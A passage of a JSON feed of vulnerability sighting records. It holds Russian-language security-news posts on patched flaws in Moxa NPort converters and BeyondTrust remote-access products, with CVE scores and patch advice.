\u043f\u043e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044e \u0437\u0430 \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c\u0438 \u0430\u043a\u0442\u0438\u0432\u0430\u043c\u0438 (OFAC), \u0423\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0444\u0438\u043d\u0430\u043d\u0441\u043e\u0432\u044b\u0445 \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u0439 \u0438 \u041a\u043e\u043c\u0438\u0442\u0435\u0442 \u043f\u043e \u0438\u043d\u043e\u0441\u0442\u0440\u0430\u043d\u043d\u044b\u043c \u0438\u043d\u0432\u0435\u0441\u0442\u0438\u0446\u0438\u044f\u043c \u0421\u0428\u0410 (CFIUS).\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2025-01-15T10:53:21.000000Z"}, {"uuid": "b56e3c79-2d73-4948-b739-70dc08afda9f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-1220", "type": "seen", "source": "https://t.me/itsec_news/4183", "content": "\u200b\u26a1\ufe0f\u041c\u043e\u0445\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2024-1220, \u0447\u0440\u0435\u0432\u0430\u0442\u0443\u044e \u043e\u0441\u0442\u0430\u043d\u043e\u0432\u043a\u043e\u0439 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0430\n\n\ud83d\udcac\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u043f\u043e\u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u0438\u043b\u0430 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 Positive Technologies \u0437\u0430 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u0435 \u043e\u043f\u0430\u0441\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0445 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u0445 \u043b\u0438\u043d\u0435\u0439\u043a\u0438 NPort. \u0418\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u0430\u044f \u043a\u0430\u043a CVE-2024-1220 , \u044d\u0442\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0443\u044e \u043e\u0446\u0435\u043d\u043a\u0443 8,2 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434 \u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430\u0445.\n\n\u041f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 NPort W2150a \u0438 W2250a \u043f\u0440\u0435\u0434\u043d\u0430\u0437\u043d\u0430\u0447\u0435\u043d\u044b \u0434\u043b\u044f \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u043e\u0432, \u0441\u0447\u0435\u0442\u0447\u0438\u043a\u043e\u0432 \u0438 \u0434\u0430\u0442\u0447\u0438\u043a\u043e\u0432 \u043a \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0439 \u0441\u0435\u0442\u0438 \u043f\u043e Wi-Fi. \u0422\u0430\u043a\u0438\u0435 \u0431\u0435\u0441\u043f\u0440\u043e\u0432\u043e\u0434\u043d\u044b\u0435 \u043a\u043e\u043c\u043c\u0443\u043d\u0438\u043a\u0430\u0446\u0438\u0438 \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u044b \u0434\u043b\u044f \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u043c\u043e\u043d\u0438\u0442\u043e\u0440\u0438\u043d\u0433\u0430 \u0438 \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u043e\u0431\u043e\u0440\u0443\u0434\u043e\u0432\u0430\u043d\u0438\u0435\u043c, \u0440\u0430\u0441\u043f\u043e\u043b\u043e\u0436\u0435\u043d\u043d\u044b\u043c \u043d\u0430 \u0434\u0432\u0438\u0436\u0443\u0449\u0438\u0445\u0441\u044f \u043e\u0431\u044a\u0435\u043a\u0442\u0430\u0445 \u0438\u043b\u0438 \u0432 \u0430\u0433\u0440\u0435\u0441\u0441\u0438\u0432\u043d\u044b\u0445 \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u044b\u0445 \u0441\u0440\u0435\u0434\u0430\u0445.\n\n\u041a\u0430\u043a \u043f\u043e\u044f\u0441\u043d\u0438\u043b \u0412\u043b\u0430\u0434\u0438\u043c\u0438\u0440 \u0420\u0430\u0437\u043e\u0432, \u044d\u043a\u0441\u043f\u0435\u0440\u0442 \u0438\u0437 \u0433\u0440\u0443\u043f\u043f\u044b \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u043e\u0441\u0442\u0438 \u0432\u0435\u0431-\u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u0439 Positive Technologies, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u043b\u0430 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0431\u0435\u0437 \u0430\u0432\u0442\u043e\u0440\u0438\u0437\u0430\u0446\u0438\u0438 \u0438 \u0432\u0441\u0435\u0433\u043e \u0437\u0430 \u043e\u0434\u0438\u043d \u0437\u0430\u043f\u0440\u043e\u0441 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u043f\u043e\u043b\u043d\u044b\u0439 \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u044c \u043d\u0430\u0434 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u043c Moxa. \u0414\u0430\u043b\u0435\u0435 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u043c\u043e\u0433 \u0431\u044b \u043e\u0442\u043f\u0440\u0430\u0432\u043b\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043d\u0430 \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u043d\u044b\u0435 \u043a \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044e \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u043b\u0435\u0440\u044b \u0438 \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432\u0430, \u043d\u0430\u0440\u0443\u0448\u0430\u044f \u0448\u0442\u0430\u0442\u043d\u043e\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u043e\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0442\u0435\u0445\u043d\u043e\u043b\u043e\u0433\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u043e\u0432.\n\n\u041f\u043e\u0441\u043b\u0435 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u044f \u0432\u0435\u043d\u0434\u043e\u0440\u0430 \u0432 \u0440\u0430\u043c\u043a\u0430\u0445 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043e\u0442\u0432\u0435\u0442\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0435\u043d\u0438\u044f \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Moxa \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u043f\u0440\u043e\u0448\u0438\u0432\u043a\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432\u043e \u0432\u043d\u0443\u0442\u0440\u0435\u043d\u043d\u0435\u043c \u041f\u041e \u0443\u0441\u0442\u0440\u043e\u0439\u0441\u0442\u0432 \u0432\u0435\u0440\u0441\u0438\u0438 2.3. \u0420\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u0438 \u043d\u0430\u0441\u0442\u043e\u044f\u0442\u0435\u043b\u044c\u043d\u043e \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c \u0441\u0432\u043e\u0438 \u043f\u0440\u0435\u043e\u0431\u0440\u0430\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0434\u043e \u043f\u043e\u0441\u043b\u0435\u0434\u043d\u0435\u0439 \u0432\u0435\u0440\u0441\u0438\u0438.\n\n\u0421\u043e\u0442\u0440\u0443\u0434\u043d\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043c\u0435\u0436\u0434\u0443 \u044d\u043a\u0441\u043f\u0435\u0440\u0442\u0430\u043c\u0438 Positive Technologies \u0438 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0435\u0439 Moxa \u043f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u0442\u0441\u044f \u043d\u0435 \u043f\u0435\u0440\u0432\u044b\u0439 \u0433\u043e\u0434. \u0412 2019 \u0433\u043e\u0434\u0443 \u0431\u043b\u0430\u0433\u043e\u0434\u0430\u0440\u044f \u0438\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f\u043c \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 PT \u0431\u044b\u043b\u0438 \u0437\u0430\u043a\u0440\u044b\u0442\u044b \u0431\u043e\u043b\u0435\u0435 \u0434\u0435\u0441\u044f\u0442\u043a\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u043f\u0440\u043e\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u044b\u0445 Ethernet-\u043a\u043e\u043c\u043c\u0443\u0442\u0430\u0442\u043e\u0440\u0430\u0445 \u0432\u0435\u043d\u0434\u043e\u0440\u0430, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043c\u043e\u0433\u043b\u0438 \u0431\u044b \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u044c \u0441\u0435\u0442\u0435\u0432\u043e\u0435 \u0432\u0437\u0430\u0438\u043c\u043e\u0434\u0435\u0439\u0441\u0442\u0432\u0438\u0435 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u043e\u0432 \u0410\u0421\u0423 \u0422\u041f.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-03-11T17:14:20.000000Z"}, {"uuid": "1f4a53ec-8551-4757-b36f-83b60aabaa0a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12634", "type": "seen", "source": "Telegram/7iNqCIkzDzXUmqJXXKHnxofcS7eFi5qd7Q8vhuvvvbw4uQ6x", "content": "", "creation_timestamp": "2025-03-08T04:34:56.000000Z"}, {"uuid": "5c68fd89-14bc-455d-9c30-9ccc73074a09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12356", "type": "exploited", "source": "https://t.me/itsec_news/5029", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 BeyondTrust: CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\ud83d\udcac \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (CISA) \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u043e \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (KEV) \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 BeyondTrust Privileged Remote Access (PRA) \u0438 Remote Support (RS). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2024-12356 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (9.8 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS). \u042d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 Command Injection, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430.\n\n\u041f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 CISA, \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u044b BeyondTrust PRA \u0438 RS, \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u044f \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0432\u0432\u043e\u0434\u0438\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0437\u0430\u043f\u0443\u0441\u043a\u0430\u044e\u0442\u0441\u044f \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u0414\u043b\u044f \u0437\u0430\u0449\u0438\u0442\u044b \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043b\u0430\u0447\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u0443\u0436\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u043b\u0435\u043d\u044b \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f. \u0422\u0435\u043c, \u043a\u0442\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438, \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u044f \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442 \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u043f\u0430\u0442\u0447\u0438 BT24-10-ONPREM1 \u0438\u043b\u0438 BT24-10-ONPREM2.\n\n\u0421\u043e\u043e\u0431\u0449\u0435\u043d\u0438\u0435 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u043e\u0439 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043f\u043e\u044f\u0432\u0438\u043b\u043e\u0441\u044c \u0432\u0441\u043a\u043e\u0440\u0435 \u043f\u043e\u0441\u043b\u0435 \u0442\u043e\u0433\u043e, \u043a\u0430\u043a BeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043e \u043a\u0438\u0431\u0435\u0440\u0430\u0442\u0430\u043a\u0435, \u0436\u0435\u0440\u0442\u0432\u043e\u0439 \u043a\u043e\u0442\u043e\u0440\u043e\u0439 \u0441\u0442\u0430\u043b\u0430 \u0435\u0451 \u0441\u0438\u0441\u0442\u0435\u043c\u0430 Remote Support SaaS. \u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0438 \u0434\u043e\u0441\u0442\u0443\u043f \u043a API-\u043a\u043b\u044e\u0447\u0443, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0432 \u0435\u0433\u043e \u0434\u043b\u044f \u0441\u0431\u0440\u043e\u0441\u0430 \u043f\u0430\u0440\u043e\u043b\u0435\u0439 \u0432 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0447\u0451\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u044f\u0445.\n\n\u0412 \u0445\u043e\u0434\u0435 \u0440\u0430\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u043d\u0438\u044f, \u043f\u0440\u043e\u0432\u043e\u0434\u0438\u043c\u043e\u0433\u043e \u0441 \u043f\u0440\u0438\u0432\u043b\u0435\u0447\u0435\u043d\u0438\u0435\u043c \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432, \u0431\u044b\u043b\u0430 \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0430 \u0435\u0449\u0451 \u043e\u0434\u043d\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u2014 CVE-2024-12686 (CVSS 6.6). \u041e\u043d\u0430 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u043c \u0441 \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u0438\u0432\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u0441 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430. \u042d\u0442\u0430 \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0430 \u0432 \u043d\u043e\u0432\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0435\u0441\u043f\u0435\u0447\u0435\u043d\u0438\u044f.\n\n\u0414\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 PRA \u0438 RS \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u043f\u0430\u0442\u0447\u0438 BT24-11-ONPREM1 \u0438 \u043f\u043e\u0441\u043b\u0435\u0434\u0443\u044e\u0449\u0438\u0435, \u0432 \u0437\u0430\u0432\u0438\u0441\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u0432\u0435\u0440\u0441\u0438\u0438. BeyondTrust \u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430, \u0447\u0442\u043e \u0432\u0441\u0435 \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0435 \u043a\u043b\u0438\u0435\u043d\u0442\u044b \u0431\u044b\u043b\u0438 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b, \u043e\u0434\u043d\u0430\u043a\u043e \u043d\u0435 \u0440\u0430\u0441\u043a\u0440\u044b\u043b\u0430 \u043c\u0430\u0441\u0448\u0442\u0430\u0431 \u0430\u0442\u0430\u043a\u0438 \u0438 \u043b\u0438\u0447\u043d\u043e\u0441\u0442\u0438 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u0432.\n\n\u0412\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 CVE-2024-12356 \u0432 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 CISA \u043f\u043e\u0434\u0447\u0451\u0440\u043a\u0438\u0432\u0430\u0435\u0442 \u0435\u0451 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u043e\u0441\u0442\u044c. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u0435\u0442\u0441\u044f \u043d\u0435\u0437\u0430\u043c\u0435\u0434\u043b\u0438\u0442\u0435\u043b\u044c\u043d\u043e \u0443\u0441\u0442\u0430\u043d\u043e\u0432\u0438\u0442\u044c \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f, \u0447\u0442\u043e\u0431\u044b \u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0440\u0438\u0441\u043a\u0438.\n\n\ud83d\udd14 ITsec NEWS", "creation_timestamp": "2024-12-20T09:11:48.000000Z"}, {"uuid": "377b5715-ca89-4d3d-9f2a-b92dc3fc7519", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2024-12686", "type": "exploited", "source": "https://t.me/itsec_news/5029", "content": "\u200b\u26a1\ufe0f\u041a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 BeyondTrust: CISA \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e\u0431 \u0430\u043a\u0442\u0438\u0432\u043d\u044b\u0445 \u0430\u0442\u0430\u043a\u0430\u0445\n\n\ud83d\udcac \u0410\u043c\u0435\u0440\u0438\u043a\u0430\u043d\u0441\u043a\u043e\u0435 \u0430\u0433\u0435\u043d\u0442\u0441\u0442\u0432\u043e \u043f\u043e \u043a\u0438\u0431\u0435\u0440\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0438 \u0438\u043d\u0444\u0440\u0430\u0441\u0442\u0440\u0443\u043a\u0442\u0443\u0440\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (CISA) \u0432\u043a\u043b\u044e\u0447\u0438\u043b\u043e \u0432 \u0441\u0432\u043e\u0439 \u043a\u0430\u0442\u0430\u043b\u043e\u0433 \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u044b\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u0435\u043c\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 (KEV) \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 BeyondTrust Privileged Remote Access (PRA) \u0438 Remote Support (RS). \u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0443\u0436\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438.\n\n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0441 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0442\u043e\u0440\u043e\u043c CVE-2024-12356 \u043f\u043e\u043b\u0443\u0447\u0438\u043b\u0430 \u0432\u044b\u0441\u043e\u043a\u0438\u0439 \u0440\u0435\u0439\u0442\u0438\u043d\u0433 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 (9.8 \u043f\u043e \u0448\u043a\u0430\u043b\u0435 CVSS). \u042d\u0442\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0442\u0438\u043f\u0430 Command Injection, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u043e\u0442 \u0438\u043c\u0435\u043d\u0438 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0441\u0430\u0439\u0442\u0430.\n\n\u041f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 